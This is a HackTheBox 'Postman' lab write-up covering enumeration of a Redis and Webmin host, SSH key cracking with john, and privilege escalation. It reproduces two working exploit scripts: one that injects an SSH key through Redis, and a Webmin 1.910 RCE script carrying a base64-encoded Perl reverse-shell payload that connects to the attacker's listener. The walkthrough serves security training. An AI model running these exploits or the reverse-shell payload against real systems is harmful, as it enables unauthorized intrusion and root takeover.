HackTheBox - Postman
Morten Hansen • January 30, 2022
Postman
nmap -sC -sV 10.10.10.160 -Pn | tee NMAP/log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Port 1000 shows a webmin login-page. Need to edit hosts to include postman
.
gobuster port 80
/.htaccess (Status: 403) [Size: 296]
/.htpasswd (Status: 403) [Size: 296]
/css (Status: 301) [Size: 310] [--> http://10.10.10.160/css/]
/fonts (Status: 301) [Size: 312] [--> http://10.10.10.160/fonts/]
/images (Status: 301) [Size: 313] [--> http://10.10.10.160/images/]
/js (Status: 301) [Size: 309] [--> http://10.10.10.160/js/]
/server-status (Status: 403) [Size: 300]
/upload (Status: 301) [Size: 313] [--> http://10.10.10.160/upload/]
By doing some googling around Redis we find an exploit at https://github.com/Ridter/redis-rce. This is a python-script that gives us a reverse shell.
#!/usr/bin/python
import os
import os.path
from sys import argv
script, ip_address, username = argv
PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'
def ssh_connection():
shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address
os.system(shell)
if os.path.isfile(PATH) or os.path.isfile(PATH1):
try:
os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo \'\r\n\') > $HOME/.ssh/public_key.txt")
cmd = "redis-cli -h " + ip_address + ' flushall'
cmd1 = "redis-cli -h " + ip_address
os.system(cmd)
cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist'
os.system(cmd2)
cmd3 = cmd1 + ' config set dbfilename "backup.db" '
cmd4 = cmd1 + ' config set dir' + " /home/"+username+"/.ssh/"
cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
cmd6 = cmd1 + ' save'
os.system(cmd3)
os.system(cmd4)
os.system(cmd5)
os.system(cmd6)
print ("\tYou'll get shell in sometime..Thanks for your patience")
ssh_connection()
except:
print ("Something went wrong")
else:
print ("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.")
When run python3 redis.py postman redis
it gives us a reverse connection as redis
. The user on the system is Matt
and we does not have permissions.
Looking in the /opt
folder we find a file called id_rsa.bak
. The name suggests it's a backup of a private key. The file contains an encrypted RSA-key. We copy the key on to our own machine and isolate the hash value with ssh2john id_rsa.bak > hash
. This gives us the hash output into a file we can crack with john the ripper
. After running john hash -w="/usr/share/wordlists/rockyout.txt"
we get the password computer2008
.
We try to ssh in to the server as Matt but using the private key closes the connection without any shell. After some trial and error we can successfully swith to Matt
when we are online as redis
. We do this by typing su Matt
and the password computer2008
when prompted. This gives us access as Matt and we can read the user.txt file inside /home/Matt/user.txt
.
Basic enumeration doesn't give us much and we remember from NMAP that the webmin application is still running, and we see from ps aux | grep webmin
that it is run as root.
When going to https://10.10.10.160:10000 we get an log in page. We try Matt/computer2008
and get access. By googling a bit we see that webmin 1.910 is vulnerable for RCE (https://github.com/roughiz/Webmin-1.910-Exploit-Script). I downloaded the following script and adjusted it in order to get it to work. The code shows it is written in python2 and we needed to remove some coloring addons, in order to get it to work.
#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
import urllib3
urllib3.disable_warnings()
import argparse
import sys
arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script')
arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True)
arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000)
arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True)
arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444)
arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str)
arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str)
arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str)
arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str)
args = arg_parser.parse_args()
# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
req={'page':'','user':args.user,'pass':args.password}
if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'):
url="https://"+args.rhost+":"+str(args.rport)+args.targeturi
else:
url="http://"+args.rhost+":"+str(args.rport)+args.targeturi
resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False)
if "This web server is running in SSL mode" in resu.content:
print ('********** [+] [Exploit][ERROR] Enable the ssl arg !!')
print(resu.content)
sys.exit(1)
if "sid" in resu.headers['Set-Cookie']:
sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip()
print("\n")
print ('********** [+] [Exploit] The Cookie is '+sid)
else:
print ('********** [+] [Exploit][ERROR] The authentication to the webmin server failed')
sys.exit(1)
# Templateofthe payload
template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
b64payload = template.encode('base64').replace('\n', '').strip()
payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"'
## request the payload
req={'u':['acl/apt',payload]}
headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"}
try:
resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10)
except requests.Timeout:
pass
except requests.ConnectionError:
pass
I then set up a listener in my terminal with nc -lvnp 9001
and ran the script. python webminex.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.16.6 --lport 9001 -u Matt -p computer2008 -s true
. This gives us a reverse connection as root.